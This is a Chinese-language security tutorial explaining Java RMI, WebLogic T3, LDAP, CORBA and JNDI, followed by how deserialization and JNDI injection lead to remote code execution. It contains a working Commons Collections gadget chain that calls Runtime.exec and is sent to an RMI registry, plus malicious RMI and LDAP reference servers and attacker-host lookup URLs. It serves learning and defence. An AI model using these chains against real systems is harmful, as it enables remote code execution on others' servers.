1. RMI
1.1 JAVA RMI
1.1.1 基本概念
RMI（Remote Method Invocation，远程方法调用）。远程方法调用是分布式编程中的一个基本思想，实现远程方法调用的技术有CORBA、WebService等（这两种独立于编程语言）。RMI则是专门为JAVA设计，依赖JRMP通讯协议。
RMI可以使我们引用远程主机上的对象，将JAVA对象作为参数传递，而这些对象要可以被序列化。就像C语言中有RPC（remote procedure calls ）使远程主机上执行C函数并返回结果。可以被远程调用的对象必须实现java.rmi.Remote接口，其实现类必须继承UnicastRemoteObject类。如果不继承UnicastRemoteObject类，则需要手工初始化远程对象，在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法
import java.rmi.*;
public interface RemoteObject extends Remote {
public Widget doSomething( ) throws RemoteException;
public Widget doSomethingElse( ) throws RemoteException;
}
不继承UnicastRemoteObject类的DEMO
public class HelloImpl implements IHello {//IHello是客户端和服务端公用接口
protected HelloImpl() throws RemoteException {
UnicastRemoteObject.exportObject(this, 0);
}
@Override
public String sayHello(String name) {//HelloImpl是一个服务端远程对象，提供了一个sayHello方法供远程调用。
System.out.println(name);
return name;
}
}
1.1.2 RMI远程调用过程
RMI对于远程对象是将其Stub（类似引用/代理，包含远程对象的定位信息，如Socket端口、服务端主机地址等）传递。客户端可以像调用本地方法一样通过Stub调用远程方法。
客户端发起请求，请求转交至RMI客户端的stub类，stub类将请求的接口、方法、参数等信息进行序列化，然后基于tcp/ip将序列化后的流传输至服务器端，转至skeleton类，该类将请求的信息反序列化后调用实际的类进行处理，然后再将处理结果返回给skeleton类，skeleton类将结果序列化，通过tcp/ip将流传送给客户端的stub，stub接收到流后将其反序列化，再将反序列化后的Java Object返回给调用者。
（1）Stub获取方式
Stub的获取方式有很多，常见的方法是调用某个远程服务上的方法，向远程服务获取存根。但是调用远程方法又必须先有远程对象的Stub，所以这里有个死循环问题。JDK提供了一个RMI注册表（RMIRegistry）来解决这个问题。RMIRegistry也是一个远程对象，默认监听在1099端口上，可以使用代码启动RMIRegistry，也可以使用rmiregistry命令。要注册远程对象，需要RMI URL和一个远程对象的引用。
IHello rhello = new HelloImpl();
LocateRegistry.createRegistry(1099);//人工创建RMI注册服务
Naming.bind("rmi://0.0.0.0:1099/hello", rhello);
LocateRegistry.getRegistry()会使用给定的主机和端口等信息本地创建一个Stub对象作为Registry远程对象的代理，从而启动整个远程调用逻辑。服务端应用程序可以向RMI注册表中注册远程对象，然后客户端向RMI注册表查询某个远程对象名称，来获取该远程对象的Stub。
（2）远程调用逻辑
Registry registry = LocateRegistry.getRegistry("kingx_kali_host",1099);
IHello rhello = (IHello) registry.lookup("hello");
rhello.sayHello("test");
（3）动态加载类
RMI核心特点之一就是动态加载类，如果当前JVM中没有某个类的定义，它可以从远程URL去下载这个类的class，java.rmi.server.codebase属性值表示一个或多个URL位置，可以从中下载本地找不到的类，相当于一个代码库。动态加载的对象class文件可以使用Web服务的方式（如http://、ftp://、file://）进行托管。客户端使用了与RMI注册表相同的机制。RMI服务端将URL传递给客户端，客户端通过HTTP请求下载这些类。
无论是客户端还是服务端要远程加载类，都需要满足以下条件：
a.由于Java SecurityManager的限制，默认是不允许远程加载的，如果需要进行远程加载类，需要安装RMISecurityManager并且配置java.security.policy，这在后面的利用中可以看到。
b.属性 java.rmi.server.useCodebaseOnly 的值必需为false。但是从JDK 6u45、7u21开始，java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时，将禁用自动加载远程类文件，仅从CLASSPATH和当前虚拟机的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止虚拟机从其他Codebase地址上动态加载类，增加了RMI ClassLoader的安全性。
（4）JAVA RMI Demo
//接口
public interface Hello extends Remote {
public String echo(String message) throws RemoteException;
}
//接口类实现
public class HelloImpl implements Hello {
@Override
public String echo(String message) throws RemoteException {
if ("quit".equalsIgnoreCase(message.toString())) {
System.out.println("Server will be shutdown!");
System.exit(0);
}
System.out.println("Message from client: " + message);
return "Server response:" + message;
}
}
//server端
public class Server {
public static void main(String[] args) throws Exception {
String name = "hello";
Hello hello = new HelloImpl();
// 生成Stub
UnicastRemoteObject.exportObject(hello, 1199);
/*
设置java.rmi.server.codebase
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
如果需要使用RMI的动态加载功能，需要开启RMISecurityManager，并配置policy以允许从远程加载类库
System.setProperty("java.security.policy", Server.class.getClassLoader().getResource("java.policy").getFile());
RMISecurityManager securityManager = new RMISecurityManager();
System.setSecurityManager(securityManager);
*/
// 创建本机 1099 端口上的RMI registry
Registry registry = LocateRegistry.createRegistry(1199);
//如果registry已存在
Registry reg = LocateRegistry.getRegistry();
// 对象绑定到注册表中
registry.rebind(name, hello);
}
}
//client端
public class Client {
public static void main(String[] args) throws Exception {
// 获取远程主机上的注册表
Registry registry = LocateRegistry.getRegistry("localhost", 1199);
String name = "hello";
// 获取远程对象
Hello hello = (Hello) registry.lookup(name);
while (true) {
Scanner sc = new Scanner(System.in);
String message = sc.next();
// 调用远程方法
hello.echo(message);
if (message.equals("quit")) {
break;
}
}
}
}
1.2 JAVA RMI与Weblogic RMI
RMI是基于JRMP协议的，而Weblogic RMI是基于T3协议（也有基于CORBA的IIOP协议）。WebLogic RMI是WebLogic对Java RMI的实现，它们之间的不同在于（1）WebLogic的字节码生成功能会自动生成服务端的字节码到内存。不再生成Skeleton骨架对象，也不需要使用UnicastRemoteObject对象（2）在WebLogic RMI 客户端中，字节码生成功能会自动为客户端生成代理对象，因此Stub也不再需要。
T3传输协议是WebLogic的自有协议，它有如下特点：（1）服务端可以持续追踪监控客户端是否存活（心跳机制），通常心跳的间隔为60秒，服务端在超过240秒未收到心跳即判定与客户端的连接丢失。（2）通过建立一次连接可以将全部数据包传输完成，优化了数据包大小和网络消耗。
1.2.1 Weblogic RMI Demo
和RMI类似，先创建服务端对象接口和实现类
public interface IHello extends java.rmi.Remote {
String sayHello() throws RemoteException;
}
public class HelloImpl implements IHello {
public String sayHello() {
return "Hello Remote World!!";
}
}
上文提到，服务端不再需要Skeleton对象和UnicastRemoteObject对象，服务端代码如黄框所示。
客户端中也不再需要stub
1.2.2 Weblogic T3 协议
RMI的Client与Service交互采用JRMP协议，而Weblogic RMI采用T3协议
WebLogic RMI调用时T3协议握手后的数据包，包含不止一个序列化魔术头（0xac 0xed 0x00 0x05），每个序列化数据包前面都有相同的二进制串（0xfe 0x01 0x00 0x00），每个数据包上面都包含了一个T3协议头，前4个字节正好对应着数据包长度
1.3 RMI反序列化漏洞
RMI使用反序列化机制来传输Remote对象，那么如果是个恶意的对象，在服务器端进行反序列化时便会触发反序列化漏洞。如果此时服务端存在Apache Commons Collections这种库，就会导致远程命令执行。即Runtime.getRuntime().exec(“calc”)等语句。
该库中含有一个接口类叫做Tranesformer，其实现类有ChainedTransformer、ConstantTransformer、InvokerTransformer、CloneTransformer、ClosureTransformer、ExceptionTransformer、FactoryTransformer、InstantiateTransformer、MapTransformer、NOPTransformer、PredicateTransformer、StringValueTransformer、SwitchTransformer。前三个可以在反序列化攻击中进行利用，其本身功能及关键代码如下
//InvokerTransformer构造函数接受三个参数，并通过反射执行一个对象的任意方法
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}
//ConstantTransformer构造函数接受一个参数，并返回传入的参数
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
//ChainedTransformer构造函数接受一个Transformer类型的数组，并返回传入数组的每一个成员的Transformer方法
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
将上述函数组合起来构造远程命令执行链
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
chain.transform('1');
那么接下来的问题就是，真实环境中如何触发ChainedTransformer.transform，有两个类调用了transform方法，LazyMap和TransformedMap。TransformedMap中的调用流程为setValue ==> checkSetValue ==> valueTransformer.transform(value)，所以如果用TransformedMap调用transform方法，需要生成一个TransformedMap然后修改Map中的value值即可触发，上述执行链添加如下部分
Transformer chainedTransformer = new ChainedTransformer(transformers_exec);
Map inMap = new HashMap();
inMap.put("key", "value");
Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//生成
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
如果用LazyMap调用transform方法，调用流程为get==>factory.transform(key)，但是这些也还是需要手动调用去修改值。要自动触发需要执行readObject()方法，所用的类为AnnotationInvocationHandler，该类是JAVA运行库中的一个类，这个类有一个成员变量memberValues是Map类型，并且类中的readObject()函数中对memberValues的每一项调用了setValue()函数，完整代码如下
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map inMap = new HashMap();//创建一个含有Payload的恶意map
inMap.put("key", "value");
Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//创建一个含有恶意调用链的Transformer类的Map对象
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//获取AnnotationInvocationHandler类对象
Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });//获取AnnotationInvocationHandler类的构造方法
ctor.setAccessible(true); // 设置构造方法的访问权限
Object instance = ctor.newInstance(new Object[] { Retention.class, outMap });
FileOutputStream fos = new FileOutputStream("payload.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(instance);
oos.flush();
oos.close();
FileInputStream fis = new FileInputStream("payload.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
// 触发代码执行
Object newObj = ois.readObject();
ois.close();
在RMI中利用，即在反序列化基础上，加入如下代码
InvocationHandler h = (InvocationHandler) instance;// 实例化AnnotationInvocationHandler
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[]{Remote.class},
h));
try{
Registry registry = LocateRegistry.getRegistry(port);
registry.rebind("hello", r); // r is remote obj
}
catch (Throwable e) {
e.printStackTrace();
}
另外对于RMI服务攻击，可以使用URLClassLoader方法回显。
Object instance = PayloadGeneration.generateURLClassLoaderPayload("http://****/java/", "exploit.ErrorBaseExec", "do_exec", "pwd");
2. LDAP
LDAP（Lightweight Directory Access Protocol ，轻型目录访问协议）是一种目录服务协议，运行在TCP/IP堆栈之上。目录服务是一个特殊的数据库，用来保存描述性的、基于属性的详细信息（如企业员工信息：姓名、电话、邮箱等，公用证书、安全密钥、物理设备信息等），能进行查询、浏览和搜索，以树状结构组织数据。LDAP以树结构标识所以不能像表格一样用SQL语句查询，它“读”性能很强，但“写”性能较差，并且没有事务处理、回滚等复杂功能，不适于存储修改频繁的数据。
LDAP目录和RMI注册表的区别在于是前者是目录服务，并允许分配存储对象的属性。
2.1 LDAP基本概念
条目Entry
条目也叫记录项，就像数据库中的记录。是LDAP增删改查的基本对象。
dn（distinguished Name，唯一标识名），每个条目都有一个唯一标识名。可以看作对象的全路径，RDN则是其中的一段路径（靠前的一段），剩余路径则成为父标识（PDN）。
属性Attribute
每个条目都有很多属性（Attribute），每个属性都有名称及对应的值。属性包含cn（commonName姓名）、sn（surname姓）、ou（organizationalUnitName部门名称）、o（organization公司名称）等。每个属性也都有唯一的属性类型。
对象类ObjectClass
对象类（ObjectClass）是属性的集合，包含结构类型（Structural）、抽象类型(Abstract)和辅助类型（Auxiliary）等。比如单位职工类可能包含姓sn、名cn、电话telephoneNumber等。模式(Schema)则是对象类的集合。
2.2 LDAP攻击
com.unboundid
unboundid-ldapsdk
2.3.8
public class LDAPSeriServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) throws IOException {
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.setSchema(null);
config.setEnforceAttributeSyntaxCompliance(false);
config.setEnforceSingleStructuralObjectClass(false);
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject");
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
}
public class LDAPClient1 {
public static void main(String[] args) throws NamingException {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
Context ctx = new InitialContext();
Object object = ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com");
}
}
3. CORBA
3.1 CORBA概述
CORBA全称（Common ObjectRequest Broker Architecture）也就是公共对象请求代理体系结构，是OMG（对象管理组织，一个非盈利性的计算机行业标准协会）制定的一种标准的面向对象应用程序体系规范。其提出是为了解决不同应用程序间的通信，曾是分布式计算的主流技术。
CORBA标准主要分为三个部分，IDL（接口语言）、ORB（对象请求代理）、IIOP（ORB之间的操作协议）。
其结构主要分为三部分：naming service、client side、servant side。它们的关系可以理解成目录（naming service）与章节内容（servant side）的关系，内容需要现在目录里进行注册。
CORBA和Java都采用面向对象技术，并且都适用于开发分布式应用，所不同的是：CORBA偏重于通用的分布式应用开发，而Java注重于WWW环境中的分布式应用开发。
3.2 基础概念
IDL（Interface Definition Language，接口定义语言），它是一种与编程语言无关的对于接口描述的规范，实现跨语言跨环境远程对象调用。CORBA用的就是基于IDL的OMG IDL（对象管理标准化接口定义语言）
CORBA中的“ORB”（ObjectRequest Broker，对象请求代理）是一个中间件/代理，建立起服务端与客户端的关系调用。对象可以在本地也可以在其他服务器上，ORB截获客户的调用操作，并查找实现服务的对象，传递参数，调用方法并返回结果。
GIOP（General Inter-ORB Protocol ，通用对象请求协议），是CORBA用来进行数据传输的协议，针对不同的通讯层有不同的实现。而对于TCP/IP层，其实现名为IIOP（Internet Inter-ORB Protocol），也可以说IIOP是通过TCP协议传输的GIOP数据。
3.3 Demo
3.3.1 过程分析
naming service
ORBD可以理解为ORB的守护进程，其主要负责建立客户端(client side)与服务端(servant side)的关系，同时负责查找指定的IOR(可互操作对象引用，是一种数据结构，是CORBA标准的一部分)。ORBD是由Java原生支持的一个服务，其在整个CORBA通信中充当着naming service的作用。
IOR
IOR是一种数据结构，提供关于类型、协议支持和可用ORB服务的信息。它通常提供获取对象的初始引用的方法，可以是命名服务（naming service）、事务服务（transaction services），也可以是定制的CORBA服务。
Stub生成
Stub有很多种生成方式，如：
（1）获取NameServer然后后通过resolve_str()方法生成（NameServer生成方式）
Properties properties = new Properties();
properties.put("org.omg.CORBA.ORBInitialHost", "127.0.0.1");
properties.put("org.omg.CORBA.ORBInitialPort", "1050");
ORB orb = ORB.init(args, properties);
org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
String name = "Hello";
helloImpl = HelloHelper.narrow(ncRef.resolve_str(name));
（2）使用ORB.string_to_object生成（ORB生成方式）
//第一种
ORB orb = ORB.init(args, null);
org.omg.CORBA.Object obj = orb.string_to_object("corbaname::127.0.0.1:1050#Hello");
Hello hello = HelloHelper.narrow(obj);
//第二种
ORB orb = ORB.init(args, null);
org.omg.CORBA.Object obj = orb.string_to_object("corbaloc::127.0.0.1:1050");
NamingContextExt ncRef = NamingContextExtHelper.narrow(obj);
Hello hello = HelloHelper.narrow(ncRef.resolve_str("Hello"));
（3）使用javax.naming.InitialContext.lookup()生成（JNDI生成方式）
ORB orb = ORB.init(args, null);
Hashtable env = new Hashtable(5, 0.75f);
env.put("java.naming.corba.orb", orb);
Context ic = new InitialContext(env);
Hello helloRef = HelloHelper.narrow((org.omg.CORBA.Object)ic.lookup("corbaname::127.0.0.1:1050#Hello"));
3.3.2 Helloworld Demo
如果要开发一个CORBA的Helloworld，创建一个helloworld.idl
//helloworld.idl
module helloworld{ //module对应了java中的package
interface HelloWorld{
string sayHello();
};
};
在java命令行下执行idlj -fall helloworld.idl将IDL语言翻译成JAVA语言，生成server和client端代码，然后会生成_HelloWorldStub.java（实现了HelloWorld接口）、HelloWorld.java（未实现接口）、HelloWorldHelper.java（包含帮助函数，用于处理通过网络传输的对象）、HelloWorldHolder.java、HelloWorldOperations.java（IDL声明的接口）、HelloWorldPOA.java（server的实现接口）。POA（Portable Object Adapter），是CORBA规范的一部分，该类中的方法可以将对象注册到naming service上。
public class HelloServer {
public static void main(String[] args) throws ServantNotActive, WrongPolicy, InvalidName, AdapterInactive, org.omg.CosNaming.NamingContextPackage.InvalidName, NotFound, CannotProceed {
//指定ORB的端口号 -ORBInitialPort 1050
args = new String[2];
args[0] = "-ORBInitialPort";
args[1] = "1050";
//创建一个ORB实例
ORB orb = ORB.init(args, null);
//拿到RootPOA的引用，并激活POAManager，相当于启动了server
org.omg.CORBA.Object obj=orb.resolve_initial_references("RootPOA");
POA rootpoa = POAHelper.narrow(obj);
rootpoa.the_POAManager().activate();
//创建一个HelloWorldImpl实例
HelloWorldImpl helloImpl = new HelloWorldImpl();
//从服务中得到对象的引用，并注册到服务中
org.omg.CORBA.Object ref = rootpoa.servant_to_reference(helloImpl);
HelloWorld href = HelloWorldHelper.narrow(ref);
//得到一个根名称的上下文
org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
//在命名上下文中绑定这个对象
String name = "Hello";
NameComponent path[] = ncRef.to_name(name);
ncRef.rebind(path, href);
//启动线程服务，等待客户端调用
orb.run();
System.out.println("server startup...");
}
public class HelloClient {
static HelloWorld helloWorldImpl;
static {
//初始化ip和端口号，-ORBInitialHost 127.0.0.1 -ORBInitialPort 1050
String args[] = new String[4];
args[0] = "-ORBInitialHost";
//server端的IP地址，在HelloServer中定义的
args[1] = "127.0.0.1";
args[2] = "-ORBInitialPort";
//server端的端口，在HelloServer中定义的
args[3] = "1050";
//创建一个ORB实例
ORB orb = ORB.init(args, null);
// 获取根名称上下文
org.omg.CORBA.Object objRef = null;
try {
objRef = orb.resolve_initial_references("NameService");
} catch (InvalidName e) {
e.printStackTrace();
}
NamingContextExt neRef = NamingContextExtHelper.narrow(objRef);
String name = "Hello";
try {
//通过ORB拿到了server实例化好的实现类
helloWorldImpl = HelloWorldHelper.narrow(neRef.resolve_str(name));
} catch (NotFound e) {
e.printStackTrace();
} catch (CannotProceed e) {
e.printStackTrace();
} catch (org.omg.CosNaming.NamingContextPackage.InvalidName e) {
e.printStackTrace();
}
}
public static void main(String args[]) throws Exception {
sayHello();
}
//调用实现类的方法
public static void sayHello() {
String str = helloWorldImpl.sayHello();
System.out.println(str);
}
4. JNDI
4.1 JNDI基本概念
JNDI（Java Naming and DIrecroty Interface），是java命名与目录接口，JNDI包括Naming Service和Directory Service，通过名称来寻找数据和对象的API，也称为一种绑定。JNDI可访问的现有的目录及服务有：JDBC、LDAP、RMI、DNS、NIS、CORBA。
//web.xml
Naming Service：命名服务是将名称与值相关联的实体，称为绑定。通过find/search操作根据名称查找对象。上述的RMI Registry就是使用的Naming Service。
Directory Service：是一种特殊的Naming Service，允许存储和搜索“目录对象”，目录对象可以与属性相关联。一个目录是一个类似树的分层结构库。LDAP就是用的Directory Service。
4.2 RMI与JNDI
JNDI提供了与不同类型的服务交互的公共接口。但其自身不区分客户端和服务端，也不具备远程能力。JNDI在客户端上主要进行访问、查询和检索等，在服务端主要进行配置管理等，比如在RMI服务端上不直接使用Registry进行bind而使用JNDI统一管理。
JNDI架构如下图，Naming Manager包含用于创建上下文对象和对象的静态方法。服务器提供者接口(SPI)允许JNDI管理不同的服务。
JNDI接口在初始化时，可以将RMI URL作为参数传入，而JNDI注入就出现在客户端的lookup()函数中，如果lookup()的参数可控就可能被攻击
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
//com.sun.jndi.rmi.registry.RegistryContextFactory 是RMI Registry Service Provider对应的Factory
env.put(Context.PROVIDER_URL, "rmi://kingx_kali:8080");
Context ctx = new InitialContext(env);
Object local_obj = ctx.lookup("rmi://kingx_kali:8080/test")
//将名称refObj与一个对象绑定，这里底层也是调用的rmi的registry去绑定
ctx.bind("refObj", new RefObject());
//通过名称查找对象
ctx.lookup("refObj");
在JNDI服务中，RMI服务端除了直接绑定远程对象之外（JAVA序列化传输对象到远程服务器），还可以通过命名引用的方式通过绑定，由命名管理器进行解析的一个引用。引用由References类来绑定一个外部的远程对象（当前名称目录系统之外的对象）。绑定了Reference之后，服务端会先通过Referenceable.getReference()获取绑定对象的引用，并且在目录中保存。当客户端在lookup()查找这个远程对象时，客户端会获取相应的object factory，最终通过factory类将reference转换为具体的对象实例。
Reference reference = new Reference("MyClass","MyClass",FactoryURL);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
ctx.bind("Foo", wrapper);
4.3 JNDI动态协议转换
JNDI除了与RMI搭配使用，还可以与LDAP、CORBA等，JNDI与LDAP配合使用方式如下：
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:1389");
DirContext ctx = new InitialDirContext(env);
//通过名称查找远程对象，假设远程服务器已经将一个远程对象与名称cn=foo,dc=test,dc=org绑定了
Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");
这是手动设置服务工厂及PROVIDER_URL的方式，JNDI还提供协议的动态转换，即使我们不设置上述内容，如果ctx.lookup("rmi://attacker-server/refObj");执行便自动转换对应服务。
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:9999");
Context ctx = new InitialContext(env);
String name = "ldap://attacker-server/cn=bar,dc=test,dc=org";
//通过名称查找对象
ctx.lookup(name);
此处的lookup中的参数如果可控就可以根据攻击者提供的URL进行动态转换。
4.4 JDNI注入
JNDI注入是BlackHat 2016（USA）@pentester 的一个议题"A Journey From JNDI LDAP Manipulation To RCE"提出的。
根据上述demo可以发现JNDI注入流程是（以RMI为例），如果目标代码中调用了InitialContext.lookup(URI)，且URI为用户可控->攻击者控制URI参数为恶意的RMI服务地址，如：rmi://hacker_rmi_server//name->攻击者RMI服务器向目标返回一个Reference对象，Reference对象中指定某个精心构造的Factory类->目标在进行lookup()操作时，会动态加载并实例化Factory类，接着调用factory.getObjectInstance()获取外部远程对象实例；->攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码，达到RCE的效果。调用链为：RegistryContext.decodeObject()->NamingManager.getObjectInstance()-> factory.getObjectInstance()
JNDI主要的攻击向量有：RMI、JNDI Reference、Remote Object、LDAP、Serialized Object、JNDI Reference、Remote Location、CORBA、IOR
（1）JNDI Reference+RMI
public class RMIServer1 {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(9999);
// Reference refObj = new Reference("refClassName", "FactoryClassName", "http://example.com:12345/");//refClassName为类名加上包名，FactoryClassName为工厂类名并且包含工厂类的包名
Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
}
}
public class RMIClient1 {
public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:9999");
Context ctx = new InitialContext();
ctx.lookup("rmi://localhost:9999/refObj");
}
}
当运行lookup函数时，RegistryContext.decodeObject() 会被调用，然后调用NamingManager.getObjectInstance() 进行实例化，最终返回Reference，然后getObjectFactoryFromReference() 会从Reference中得到实例化的类。攻击者可以提供自己的工厂类，一旦实例化就会运行payload。
整个攻击过程为：攻击者为JNDI lookup提供了一个绝对的RMI URL，然后服务器连接到攻击者控制的RMI注册表，该注册表将返回恶意的JNDI引用，服务器解码JNDI引用后从攻击者控制的服务器获取工厂类，进行实例化的时候payload执行。所以此攻击方式可以用于 Spring's JndiTemplate或Apache’s Shiro JndiTemplate 等调用InitialContext.lookup()的情况。
（2）JNDI+LDAP
Naming Manager在JAVA对象（JAVA序列化、JNDI references等）解析运行时可能造成RCE，DirContext.lookup() JNDI注入和“LDAP Entry Poisoning”的主要区别是，对于前者，攻击者就可以使用自己的LDAP服务器，对于后者，攻击者需要攻击LDAP服务器条目，与应用程序交互时等待期返回被攻击条目的属性。
攻击过程为：攻击者为JND lookup提供了一个绝对LDAP URL，服务器连接到攻击者控制的LDAP服务器，该服务器返回恶意的JNDI引用。服务器解码JNDI引用从攻击者控制的服务器获取工厂类，实例化工厂类时payload得以执行。
LDAP Entry Poisoning
LDAP攻击主要针对于属性而非对象，例如，用lookup方法查找对象时，search()方法是在检索LDAP条目的所需属性(例如:用户名、密码、电子邮件等)，当只请求属性时，就不会有可能危及服务器的Java对象解码。然而，如果应用程序执行搜索操作，并将returnObjFlag设置为true，那么控制LDAP响应的攻击者将能够在应用服务器上执行任意命令。
（3）JNDI+CORBA
org.omg.CORBA.Object read_Object会对IOR进行解析
public org.omg.CORBA.Object read_Object(Class clz) {
// In any case, we must first read the IOR.
IOR ior = IORFactories.makeIOR(parent);
if (ior.isNil()) return null;
PresentationManager.StubFactoryFactory sff = ORB.getStubFactoryFactory();
String codeBase = ior.getProfile().getCodebase(); <1>
PresentationManager.StubFactory stubFactory = null;
if (clz == null) {
RepositoryId rid = RepositoryId.cache.getId(ior.getTypeId()); <2>
String className = rid.getClassName();
boolean isIDLInterface = rid.isIDLType();
if (className == null || className.equals( "" )) stubFactory = null;
else
try { <3>
stubFactory = sff.createStubFactory(className, isIDLInterface, codeBase, (Class)null, (ClassLoader)null);
}
catch (Exception exc) {
stubFactory = null;
}
else if (StubAdapter.isStubClass( clz )) {
stubFactory = PresentationDefaults.makeStaticStubFactory(clz);
} else {
// clz is an interface class
boolean isIDL = IDLEntity.class.isAssignableFrom( clz ) ;
stubFactory = sff.createStubFactory( clz.getName(),isIDL, codeBase, clz, clz.getClassLoader() ) ;
}
return internalIORToObject( ior, stubFactory, orb ) ;
}
攻击者可以手工创建一个IOR，该IOR指定在他控制下的代码库位置<1>和IDL接口<2>，即存根工厂的位置。然后，它可以将运行有效负载的存根工厂类放在其构造函数中，并在目标服务器<3>中实例化存根，从而成功地运行payload
攻击过程：攻击者为JNDI lookup提供了一个绝对的IIOP URL。服务器连接到攻击者控制的ORB，该ORB将返回恶意IOR，然后服务器解码IOR从攻击者控制的服务器获取存根工厂类。进行实例化的同时payload执行。
参考资料
RMI
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
https://www.oreilly.com/library/view/learning-java/1565927184/ch11s04.html
https://paper.seebug.org/1012/
https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/tree/master/ldap/src/main/java/com/longofo
https://paper.seebug.org/1091/#java-rmi
JNDI
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review/
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
CORBA
https://paper.seebug.org/1124/#212-client-side